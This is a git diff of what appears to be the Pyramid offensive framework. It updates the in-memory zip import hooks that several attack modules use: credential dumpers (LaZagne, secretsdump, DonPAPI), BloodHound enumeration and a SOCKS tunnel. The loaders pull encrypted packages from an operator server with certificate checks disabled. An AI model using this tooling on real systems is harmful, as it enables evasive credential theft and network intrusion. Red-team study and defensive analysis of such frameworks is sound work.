diff --git a/README.md b/README.md
index 813f45d..2b87576 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,8 @@
# Pyramid
-
+
# What is it
diff --git a/Server/Dependencies/bloodhound/ldap3.zip b/Server/Dependencies/bloodhound/ldap3.zip
index 3946204..fd1d694 100644
Binary files a/Server/Dependencies/bloodhound/ldap3.zip and b/Server/Dependencies/bloodhound/ldap3.zip differ
diff --git a/Server/Dependencies/bloodhound/winkerberos.zip b/Server/Dependencies/bloodhound/winkerberos.zip
new file mode 100644
index 0000000..8dbf33f
Binary files /dev/null and b/Server/Dependencies/bloodhound/winkerberos.zip differ
diff --git a/Server/Modules/DonPAPI.py b/Server/Modules/DonPAPI.py
index e62c0a8..5f59ad8 100644
--- a/Server/Modules/DonPAPI.py
+++ b/Server/Modules/DonPAPI.py
@@ -224,7 +224,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -235,26 +235,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -263,27 +263,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
-
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
@@ -298,11 +294,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
diff --git a/Server/Modules/LaZagne.py b/Server/Modules/LaZagne.py
index 15a31de..b2e0a6a 100644
--- a/Server/Modules/LaZagne.py
+++ b/Server/Modules/LaZagne.py
@@ -229,7 +229,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -240,26 +240,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -268,27 +268,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
-
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
@@ -303,11 +299,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
diff --git a/Server/Modules/bh.py b/Server/Modules/bh.py
index 19625d7..8b346ac 100644
--- a/Server/Modules/bh.py
+++ b/Server/Modules/bh.py
@@ -218,7 +218,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -229,26 +229,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -257,27 +257,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
-
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
@@ -292,11 +288,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
@@ -320,7 +316,7 @@ def hook_routine(fileName,zip_web):
zip_list=['bloodhound---setuptools', 'bloodhound---pkg_resources', 'bloodhound---jaraco', 'bloodhound---_distutils_hack', 'bloodhound---bloodhound', 'bloodhound---distutils',\
'bloodhound---configparser', 'bloodhound---future', 'bloodhound---chardet', 'bloodhound---flask', 'bloodhound---ldap3', 'bloodhound---ldapdomaindump', \
'bloodhound---pyasn1', 'bloodhound---OpenSSL','bloodhound---pyreadline', 'bloodhound---six','bloodhound---markupsafe', 'bloodhound---werkzeug','bloodhound---jinja2',\
- 'bloodhound---click', 'bloodhound---itsdangerous', 'bloodhound---dns', 'bloodhound---cryptography', 'bloodhound---json', 'bloodhound---impacket' ]
+ 'bloodhound---click', 'bloodhound---itsdangerous', 'bloodhound---dns', 'bloodhound---cryptography', 'bloodhound---json', 'bloodhound---impacket', 'bloodhound---winkerberos' ]
for zip_name in zip_list:
try:
diff --git a/Server/Modules/clr.py b/Server/Modules/clr.py
index 432a04a..94d3b43 100644
--- a/Server/Modules/clr.py
+++ b/Server/Modules/clr.py
@@ -221,7 +221,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -232,26 +232,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -260,26 +260,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def create_module(self, spec):
+ return None
+
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
prefix = os.path.join(self.repoName, '')
@@ -293,11 +290,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
diff --git a/Server/Modules/moduleshifting.py b/Server/Modules/moduleshifting.py
index 7b618a8..bb47da0 100644
--- a/Server/Modules/moduleshifting.py
+++ b/Server/Modules/moduleshifting.py
@@ -189,7 +189,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -200,26 +200,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -228,27 +228,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
-
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
@@ -263,11 +259,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
diff --git a/Server/Modules/pythonmemorymodule.py b/Server/Modules/pythonmemorymodule.py
index 940d54c..76ea6ac 100644
--- a/Server/Modules/pythonmemorymodule.py
+++ b/Server/Modules/pythonmemorymodule.py
@@ -196,7 +196,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -207,26 +207,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -235,27 +235,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
-
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
@@ -270,11 +266,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
@@ -310,7 +306,7 @@ def hook_routine(fileName,zip_web):
gcontext.verify_mode = ssl.CERT_NONE
request = urllib.request.Request(pyramid_http + '://'+ pyramid_server + ':' + pyramid_port + encode_encrypt_url + \
base64.b64encode((encrypt_wrapper((zip_name+'.zip').encode(), encryption))).decode('utf-8'), \
- headers={'User-Agent': user_agent})
+ headers={'User-Agent': user_agent})
base64string = base64.b64encode(bytes('%s:%s' % (pyramid_user, pyramid_pass),'ascii'))
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
with urllib.request.urlopen(request, context=gcontext) as response:
@@ -327,8 +323,8 @@ def hook_routine(fileName,zip_web):
cwd=os.getcwd()
if not extraction_dir:
- extraction_dir=cwd
-
+ extraction_dir=cwd
+
sys.path.insert(1,extraction_dir)
### separator --- is used by Pyramid server to look into the specified folder
diff --git a/Server/Modules/secretsdump.py b/Server/Modules/secretsdump.py
index f2b3969..8210091 100644
--- a/Server/Modules/secretsdump.py
+++ b/Server/Modules/secretsdump.py
@@ -216,7 +216,7 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
@@ -227,26 +227,26 @@ def _get_info(self, repoName, fullname):
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -255,27 +255,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
- def find_module(self, fullname, path=None):
-
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
@@ -290,11 +286,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):
diff --git a/Server/Modules/tunnel-socks5.py b/Server/Modules/tunnel-socks5.py
index 2d37f98..4f71309 100644
--- a/Server/Modules/tunnel-socks5.py
+++ b/Server/Modules/tunnel-socks5.py
@@ -224,37 +224,37 @@ def __init__(self, repoName):
self.repoName = repoName
self._source_cache = {}
- def _get_info(self, repoName, fullname):
+ def _get_info(self, fullname):
"""Search for the respective package or module in the zipfile object"""
parts = fullname.split('.')
submodule = parts[-1]
modulepath = '/'.join(parts)
+
#check to see if that specific module exists
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try:
- moduleRepo[repoName].getinfo(relpath)
+ moduleRepo[self.repoName].getinfo(relpath)
except KeyError:
pass
else:
return submodule, is_package, relpath
#Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = ('Unable to locate module %s in the %s repo' % (submodule, self.repoName))
raise ZipImportError(msg)
-
- def _get_source(self, repoName, fullname):
+ def _get_source(self, fullname):
"""Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ submodule, is_package, relpath = self._get_info(fullname)
+ fullpath = '%s/%s' % (self.repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
### added .decode
- source = moduleRepo[repoName].read(relpath).decode()
+ source = moduleRepo[self.repoName].read(relpath).decode()
#print(source)
source = source.replace('\r\n', '\n')
source = source.replace('\r', '\n')
@@ -263,28 +263,23 @@ def _get_source(self, repoName, fullname):
except:
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
-
-
- def find_module(self, fullname, path=None):
+ def find_spec(self, fullname, path=None, target=None):
try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
except ImportError:
return None
else:
- return self
+ return importlib.util.spec_from_loader(fullname, self)
+
+ def create_module(self, spec):
+ return None
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ def exec_module(self, module):
+ submodule, is_package, fullpath, source = self._get_source(module.__name__)
code = compile(source, fullpath, 'exec')
- spec = importlib.util.spec_from_loader(fullname, loader=None)
- mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code,mod.__dict__)
- return mod
+ module.__path__ = [os.path.dirname(fullpath)]
+ exec(code, module.__dict__)
def get_data(self, fullpath):
prefix = os.path.join(self.repoName, '')
@@ -298,11 +293,11 @@ def get_data(self, fullpath):
def is_package(self, fullname):
"""Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ submodule, is_package, relpath = self._get_info(fullname)
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
+ submodule, is_package, fullpath, source = self._get_source(fullname)
return compile(source, fullpath, 'exec')
def install_hook(repoName):